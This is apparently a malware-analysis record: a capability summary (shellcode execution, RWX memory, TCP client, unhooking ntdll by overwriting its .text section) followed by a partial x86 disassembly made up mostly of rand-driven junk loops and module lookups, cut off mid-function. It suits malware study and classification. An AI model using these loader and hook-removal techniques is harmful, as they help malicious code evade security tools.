Function at 0x40152c
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Encode data using base64
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime
Overwrite dll .text section to remove hooks
Read file via mapping
Receive data
Receive data on socket
Resolve dns

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
mov eax, 0x1f80
call fcn.0041e0b0
sub esp, eax
call fcn.0041d1d0
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0xe5c], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0xe60], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x14], 0
mov dword [esp], 0x180
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xe64], eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xe68], 0
mov dword [ebp - 0x18], 0
jmp 0x4015f8
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x18]
lea edx, [eax*4]
mov eax, dword [ebp - 0xe64]
lea ebx, [edx + eax]
mov edx, 0x88888889
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 4
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x1e
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x18], 1
cmp dword [ebp - 0x18], 0x5f
jle 0x4015bb
mov dword [ebp - 0x18], 0
jmp 0x401622
mov eax, dword [ebp - 0x18]
lea edx, [eax*4]
mov eax, dword [ebp - 0xe64]
add eax, edx
mov eax, dword [eax]
add dword [ebp - 0x1c], eax
add dword [ebp - 0x18], 1
cmp dword [ebp - 0x18], 0x5f
jle 0x401607
mov eax, dword [ebp - 0xe64]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0xe6c], 0x5fa
mov dword [ebp - 0x20], 0xffffffff
mov dword [esp], 0xb20
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xe70], eax
add dword [ebp - 0x20], 1
call sub.msvcrt.dll_rand
mov dword [ebp - 0x1f68], eax
fild dword [ebp - 0x1f68]
fld qword [0x426198]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0x20]
lea edx, [eax*8]
mov eax, dword [ebp - 0xe70]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
mov eax, dword [ebp - 0x20]
lea edx, [eax*8]
mov eax, dword [ebp - 0xe70]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x20]
lea edx, [eax*8]
mov eax, dword [ebp - 0xe70]
add eax, edx
fabs
fstp qword [eax]
cmp dword [ebp - 0x20], 0x162
jle 0x401659
mov dword [esp], 0x290
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xe74], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x24], 0
jmp 0x40172b
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x24]
lea edx, [eax*4]
mov eax, dword [ebp - 0xe74]
lea ebx, [edx + eax]
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x23
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 0xa3
jle 0x4016ee
mov dword [ebp - 0x24], 0
jmp 0x401758
mov eax, dword [ebp - 0x24]
lea edx, [eax*4]
mov eax, dword [ebp - 0xe74]
add eax, edx
mov eax, dword [eax]
add dword [ebp - 0x28], eax
add dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 0xa3
jle 0x40173d
mov dword [ebp - 0x24], 0
jmp 0x4017db
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x1f68]
mov eax, dword [ebp - 0x24]
lea edx, [eax*4]
mov eax, dword [ebp - 0xe74]
add eax, edx
mov eax, dword [eax]
mov dword [ebp - 0x1f60], eax
fild dword [ebp - 0x1f60]
fsub dword [ebp - 0x1d7c]
fld qword [0x4261a0]
fstp qword [esp + 8]
fstp qword [esp]
call fcn.0041e650
fadd qword [ebp - 0x1f68]
fnstcw word [ebp - 0x1f5a]
movzx eax, word [ebp - 0x1f5a]
or ah, 0xc
mov word [ebp - 0x1f5c], ax
fldcw word [ebp - 0x1f5c]
fistp dword [ebp - 0x2c]
fldcw word [ebp - 0x1f5a]
add dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 0xa3
jle 0x40176a
fild dword [ebp - 0x2c]
fld dword [0x4261a8]
fdivp st(1)
fstp dword [ebp - 0xe78]
fld dword [ebp - 0xe78]
fstp qword [esp]
call fcn.0041e110
fstp dword [ebp - 0xe7c]
mov eax, dword [ebp - 0xe74]
mov dword [esp], eax
call sub.msvcrt.dll_free
jmp 0x401f39
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
add eax, edx
mov dword [ebp - 0x1d20], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x1d24], 0
mov dword [esp], 0x6a4
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1d28], eax
mov dword [ebp - 0x30], 0
jmp 0x4018b4
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x30]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d28]
lea ebx, [edx + eax]
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [eax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [ebx], edx
mov eax, dword [ebp - 0x30]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d28]
add eax, edx
mov eax, dword [eax]
add dword [ebp - 0x34], eax
add dword [ebp - 0x30], 1
cmp dword [ebp - 0x30], 0x1a8
jle 0x401856
mov eax, dword [ebp - 0x1d28]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x38], 0
jmp 0x401925
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x1b
add edx, eax
and edx, 0x1f
sub edx, eax
mov dword [ebp - 0x1d6c], edx
call sub.msvcrt.dll_rand
mov dword [ebp - 0x1f68], eax
fild dword [ebp - 0x1f68]
fld qword [0x426198]
fdivp st(1)
mov eax, dword [ebp - 0x1d6c]
mov dword [esp + 8], eax
fstp qword [esp]
call fcn.0041e4e0
fstp qword [ebp - 0x1d78]
add dword [ebp - 0x38], 1
cmp dword [ebp - 0x38], 0x1e6
jle 0x4018d4
add dword [ebp - 0x14], 1
mov dword [ebp - 0x1d2c], 0
mov dword [esp], 0xa8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1d30], eax
mov dword [ebp - 0x3c], 0
jmp 0x401a11
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 7
mov edx, ecx
sar edx, 0x1f
sub eax, edx
mov dword [ebp - 0x1d2c], eax
mov eax, dword [ebp - 0x1d2c]
imul eax, eax, 0x190
sub ecx, eax
mov edx, ecx
mov dword [ebp - 0x1d2c], edx
cmp dword [ebp - 0x1d2c], 0x168
jle 0x4019b6
mov eax, dword [ebp - 0x3c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d30]
add eax, edx
fldz
fstp dword [eax]
jmp 0x401a0d
cmp dword [ebp - 0x1d2c], 0
jns 0x4019d7
mov eax, dword [ebp - 0x3c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d30]
add eax, edx
fldz
fstp dword [eax]
jmp 0x401a0d
fild dword [ebp - 0x1d2c]
fld qword [0x4261b0]
fmulp st(1)
fld qword [0x4261b8]
fdivp st(1)
mov eax, dword [ebp - 0x3c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d30]
add eax, edx
fstp dword [ebp - 0x1f68]
fld dword [ebp - 0x1f68]
fstp dword [eax]
add dword [ebp - 0x3c], 1
cmp dword [ebp - 0x3c], 0x29
jle 0x40195a
mov eax, dword [ebp - 0x1d30]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], 0x508
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1d34], eax
mov dword [ebp - 0x40], 0
jmp 0x401a83
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x40]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d34]
lea ebx, [edx + eax]
mov edx, 0x68db8bad
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0xc
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x2710
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x40], 1
cmp dword [ebp - 0x40], 0x141
jle 0x401a44
mov dword [ebp - 0x40], 0
jmp 0x401b60
mov dword [ebp - 0x1d64], 0
jmp 0x401b48
mov eax, dword [ebp - 0x40]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d34]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x1d64]
add eax, 1
lea ecx, [eax*4]
mov eax, dword [ebp - 0x1d34]
add eax, ecx
mov eax, dword [eax]
cmp edx, eax
jle 0x401b44
mov eax, dword [ebp - 0x1d64]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d34]
add eax, edx
mov eax, dword [eax]
mov dword [ebp - 0x1d68], eax
mov eax, dword [ebp - 0x40]
add eax, 1
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d34]
add eax, edx
mov edx, dword [ebp - 0x1d64]
lea ecx, [edx*4]
mov edx, dword [ebp - 0x1d34]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
mov eax, dword [ebp - 0x1d64]
add eax, 1
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d34]
add edx, eax
mov eax, dword [ebp - 0x1d68]
mov dword [edx], eax
add dword [ebp - 0x40], 1
mov eax, 0x141
sub eax, dword [ebp - 0x40]
cmp dword [ebp - 0x1d64], eax
jl 0x401aa7
add dword [ebp - 0x40], 1
cmp dword [ebp - 0x40], 0x141
jle 0x401a98
mov eax, dword [ebp - 0x1d34]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], 0x520
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1d38], eax
mov dword [esp], 0x520
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1d3c], eax
mov dword [esp], 0x520
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1d40], eax
mov dword [esp], 0x520
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1d44], eax
mov dword [ebp - 0x48], 0x147
mov dword [ebp - 0x44], 0
jmp 0x401c4d
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x44]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d38]
lea ebx, [edx + eax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x12c
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x44]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d3c]
lea ebx, [edx + eax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x12c
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x44], 1
cmp dword [ebp - 0x44], 0x147
jle 0x401bd3
mov dword [ebp - 0x44], 0
jmp 0x401cbb
mov eax, dword [ebp - 0x48]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d38]
add eax, edx
mov edx, dword [ebp - 0x44]
lea ecx, [edx*4]
mov edx, dword [ebp - 0x1d40]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
mov eax, dword [ebp - 0x48]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d3c]
add eax, edx
mov edx, dword [ebp - 0x44]
lea ecx, [edx*4]
mov edx, dword [ebp - 0x1d44]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
sub dword [ebp - 0x48], 1
add dword [ebp - 0x44], 1
cmp dword [ebp - 0x44], 0x147
jle 0x401c63
mov eax, dword [ebp - 0x1d38]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x1d3c]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x1d40]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x1d44]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x4c], 0xffffffff
mov dword [esp], 0x350
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1d48], eax
mov dword [esp], 0x350
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1d4c], eax
add dword [ebp - 0x4c], 1
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x3e8
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x1f68], eax
fild dword [ebp - 0x1f68]
fstp qword [ebp - 0x1f68]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x46
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x1f60], eax
fild dword [ebp - 0x1f60]
mov eax, dword [ebp - 0x4c]
lea edx, [eax*8]
mov eax, dword [ebp - 0x1d48]
add eax, edx
fdivr qword [ebp - 0x1f68]
fstp qword [eax]
mov eax, dword [ebp - 0x4c]
lea edx, [eax*8]
mov eax, dword [ebp - 0x1d48]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x4c]
lea edx, [eax*8]
mov eax, dword [ebp - 0x1d4c]
lea ebx, [edx + eax]
fstp qword [esp]
call fcn.0041e290
fstp qword [ebx]
cmp dword [ebp - 0x4c], 0x68
jle 0x401d27
mov dword [esp], 0x78
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1d50], eax
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x50], 0
jmp 0x401e90
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x50]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d50]
lea ebx, [edx + eax]
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x3e8
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
mov eax, dword [ebp - 0x50]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d50]
add eax, edx
mov eax, dword [eax]
and eax, 1
test eax, eax
je 0x401e6d
add dword [ebp - 0x54], 1
jmp 0x401e8c
mov eax, dword [ebp - 0x50]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d50]
add eax, edx
mov eax, dword [eax]
and eax, 1
test eax, eax
jne 0x401e8c
add dword [ebp - 0x58], 1
add dword [ebp - 0x50], 1
cmp dword [ebp - 0x50], 0x1d
jle 0x401e11
mov eax, dword [ebp - 0x1d50]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x5c], 0
jmp 0x401f27
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x38e38e39
mov eax, ecx
imul edx
mov eax, edx
sar eax, 2
mov edx, ecx
sar edx, 0x1f
sub eax, edx
mov dword [ebp - 0x1d54], eax
mov edx, dword [ebp - 0x1d54]
mov eax, edx
shl eax, 3
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
mov dword [ebp - 0x1d54], edx
call sub.msvcrt.dll_rand
mov dword [ebp - 0x1f68], eax
fild dword [ebp - 0x1f68]
fld qword [0x426198]
fdivp st(1)
mov eax, dword [ebp - 0x1d54]
mov dword [esp + 8], eax
fstp qword [esp]
call fcn.0041e4e0
fstp qword [ebp - 0x1d60]
add dword [ebp - 0x5c], 1
cmp dword [ebp - 0x5c], 0x8d
jle 0x401eb7
mov eax, dword [ebp - 0x1d20]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0xe6c]
jl 0x40181c
mov dword [esp], 0x8c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xe80], eax
mov dword [esp], 0x8c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xe84], eax
mov dword [esp], 0x8c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xe88], eax
mov dword [ebp - 0x60], 0
jmp 0x402046
mov dword [ebp - 0x64], 0
jmp 0x402038
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 7
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x7d0
mov ebx, ecx
sub ebx, eax
mov edx, dword [ebp - 0x60]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0xe80]
add edx, eax
mov dword [ebp - 0x1f68], ebx
fild dword [ebp - 0x1f68]
mov eax, dword [ebp - 0x64]
fstp dword [edx + eax*4]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 7
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x7d0
mov ebx, ecx
sub ebx, eax
mov edx, dword [ebp - 0x60]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0xe84]
add edx, eax
mov dword [ebp - 0x1f68], ebx
fild dword [ebp - 0x1f68]
mov eax, dword [ebp - 0x64]
fstp dword [edx + eax*4]
add dword [ebp - 0x64], 1
cmp dword [ebp - 0x64], 4
jle 0x401f96
add dword [ebp - 0x60], 1
cmp dword [ebp - 0x60], 6
jle 0x401f8a
mov dword [ebp - 0x60], 0
jmp 0x4020c9
mov dword [ebp - 0x64], 0
jmp 0x4020bf
mov edx, dword [ebp - 0x60]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0xe80]
add edx, eax
mov eax, dword [ebp - 0x64]
fld dword [edx + eax*4]
mov edx, dword [ebp - 0x60]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0xe84]
add edx, eax
mov eax, dword [ebp - 0x64]
fld dword [edx + eax*4]
mov edx, dword [ebp - 0x60]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0xe88]
add edx, eax
fsubp st(1)
mov eax, dword [ebp - 0x64]
fstp dword [edx + eax*4]
add dword [ebp - 0x64], 1
cmp dword [ebp - 0x64], 4
jle 0x402062
add dword [ebp - 0x60], 1
cmp dword [ebp - 0x60], 6
jle 0x402059
mov eax, dword [ebp - 0xe80]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xe84]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xe88]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x68], 0x474
mov dword [ebp - 0x6c], 0xab4
mov dword [ebp - 0x70], 0x14
jmp 0x402114
sub dword [ebp - 0x70], 1
cmp dword [ebp - 0x70], 0x36
jg 0x402110
jmp 0x4023f5
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x6c]
jle 0x4023f1
mov dword [ebp - 0x74], 0xffffffff
add dword [ebp - 0x74], 1
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x84210843
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 4
mov edx, ecx
sar edx, 0x1f
sub eax, edx
mov dword [ebp - 0x1cf8], eax
mov edx, dword [ebp - 0x1cf8]
mov eax, edx
shl eax, 5
sub eax, edx
sub ecx, eax
mov edx, ecx
mov dword [ebp - 0x1cf8], edx
call sub.msvcrt.dll_rand
mov dword [ebp - 0x1f68], eax
fild dword [ebp - 0x1f68]
fld qword [0x426198]
fdivp st(1)
mov eax, dword [ebp - 0x1cf8]
mov dword [esp + 8], eax
fstp qword [esp]
call fcn.0041e4e0
fstp qword [ebp - 0x1d00]
cmp dword [ebp - 0x74], 0x11d
jle 0x402132
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x7c], 1
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x1d04], 0x213
jmp 0x4021ec
mov edx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
add eax, edx
mov dword [ebp - 0x1d1c], eax
add dword [ebp - 0x80], 1
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x1d1c]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x1d04]
jl 0x4021cb
mov dword [ebp - 0x84], 0xffffffff
add dword [ebp - 0x84], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x1b3
mov dword [ebp - 0x1f68], eax
fild dword [ebp - 0x1f68]
fld qword [0x426198]
fdivp st(1)
fstp qword [esp]
call fcn.0041e560
fstp qword [ebp - 0x1d10]
cmp dword [ebp - 0x84], 0x6a
jle 0x402201
sub dword [ebp - 0x68], 1
mov dword [esp], 0x4f0
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1d14], eax
mov dword [ebp - 0x88], 0
jmp 0x4022ee
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x3e8
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x1f68], eax
fild dword [ebp - 0x1f68]
fstp dword [ebp - 0x1f68]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x1f60], eax
fild dword [ebp - 0x1f60]
mov eax, dword [ebp - 0x88]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d14]
add eax, edx
fdivr dword [ebp - 0x1f68]
fstp dword [eax]
add dword [ebp - 0x88], 1
cmp dword [ebp - 0x88], 0x13b
jle 0x402263
mov dword [ebp - 0x88], 0
jmp 0x4023d1
cmp dword [ebp - 0x88], 0
je 0x40234f
mov eax, dword [ebp - 0x88]
add eax, 0x3fffffff
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d14]
add eax, edx
fld dword [eax]
mov eax, dword [ebp - 0x88]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d14]
add eax, edx
fld dword [eax]
fcompi st(1)
fstp st(0)
jb 0x402358
add dword [ebp - 0x88], 1
jmp 0x4023d1
mov eax, dword [ebp - 0x88]
add eax, 0x3fffffff
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d14]
add eax, edx
fld dword [eax]
fstp dword [ebp - 0x1d18]
mov eax, dword [ebp - 0x88]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d14]
add edx, eax
mov eax, dword [ebp - 0x88]
add eax, 0x3fffffff
lea ecx, [eax*4]
mov eax, dword [ebp - 0x1d14]
add eax, ecx
fld dword [edx]
fstp dword [eax]
mov eax, dword [ebp - 0x88]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1d14]
add eax, edx
fld dword [ebp - 0x1d18]
fstp dword [eax]
sub dword [ebp - 0x88], 1
cmp dword [ebp - 0x88], 0x13b
jle 0x40230d
mov eax, dword [ebp - 0x1d14]
mov dword [esp], eax
call sub.msvcrt.dll_free
jmp 0x4023f5
sub dword [ebp - 0x6c], 1
cmp dword [ebp - 0x68], 0
jg 0x40211f
mov dword [ebp - 0xe8c], 0
mov dword [esp], 0x8c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xe90], eax
mov dword [esp], 0x8c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xe94], eax
mov dword [esp], 0x8c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xe98], eax
mov dword [ebp - 0x8c], 0
jmp 0x40251c
mov dword [ebp - 0x90], 0
jmp 0x402508
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 4
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x32
mov ebx, ecx
sub ebx, eax
mov edx, dword [ebp - 0x8c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0xe90]
add edx, eax
mov dword [ebp - 0x1f68], ebx
fild dword [ebp - 0x1f68]
mov eax, dword [ebp - 0x90]
fstp dword [edx + eax*4]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 4
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x32
mov ebx, ecx
sub ebx, eax
mov edx, dword [ebp - 0x8c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0xe94]
add edx, eax
mov dword [ebp - 0x1f68], ebx
fild dword [ebp - 0x1f68]
mov eax, dword [ebp - 0x90]
fstp dword [edx + eax*4]
add dword [ebp - 0x90], 1
cmp dword [ebp - 0x90], 4
jle 0x40245d
add dword [ebp - 0x8c], 1
cmp dword [ebp - 0x8c], 6
jle 0x40244e
mov dword [ebp - 0x8c], 0
jmp 0x4025c6
mov dword [ebp - 0x90], 0
jmp 0x4025b6
mov edx, dword [ebp - 0x8c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0xe90]
add edx, eax
mov eax, dword [ebp - 0x90]
fld dword [edx + eax*4]
mov edx, dword [ebp - 0x8c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0xe94]
add edx, eax
mov eax, dword [ebp - 0x90]
fld dword [edx + eax*4]
mov edx, dword [ebp - 0x8c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0xe98]
add edx, eax
fdivp st(1)
mov eax, dword [ebp - 0x90]
fstp dword [edx + eax*4]
add dword [ebp - 0x90], 1
cmp dword [ebp - 0x90], 4
jle 0x402544
add dword [ebp - 0x8c], 1
cmp dword [ebp - 0x8c], 6
jle 0x402538
mov eax, dword [ebp - 0xe90]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xe94]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xe98]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0xe9c], eax
mov dword [esp], 0x7920
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xea0], eax
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x98], 0x78
mov dword [ebp - 0x9c], 0x6e
mov dword [ebp - 0xa0], 0xc8
mov dword [ebp - 0xa4], 0x78
jmp 0x40271b
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0xa4]
jle 0x4026b9
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0x98]
jle 0x402699
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0x9c]
jle 0x402690
sub dword [ebp - 0xa0], 1
jmp 0x402705
sub dword [ebp - 0x9c], 1
jmp 0x402705
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x9c]
jle 0x4026b0
sub dword [ebp - 0x98], 1
jmp 0x402705
sub dword [ebp - 0x9c], 1
jmp 0x402705
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x98]
jle 0x4026e7
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x9c]
jle 0x4026de
sub dword [ebp - 0xa4], 1
jmp 0x402705
sub dword [ebp - 0x9c], 1
jmp 0x402705
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x9c]
jle 0x4026fe
sub dword [ebp - 0x98], 1
jmp 0x402705
sub dword [ebp - 0x9c], 1
mov eax, dword [ebp - 0xa0]
mov dword [esp + 4], eax
mov dword [esp], 0x42605f
call fcn.004014f0
cmp dword [ebp - 0xa0], 0
jg 0x40265d
mov dword [ebp - 0xb0], 0
mov dword [esp], 0xb4
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xea4], eax
mov dword [ebp - 0xa8], 0
jmp 0x4027c7
mov dword [ebp - 0xac], 0
jmp 0x4027b7
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x18138fe5
mov eax, ecx
imul edx
sar edx, 9
mov eax, ecx
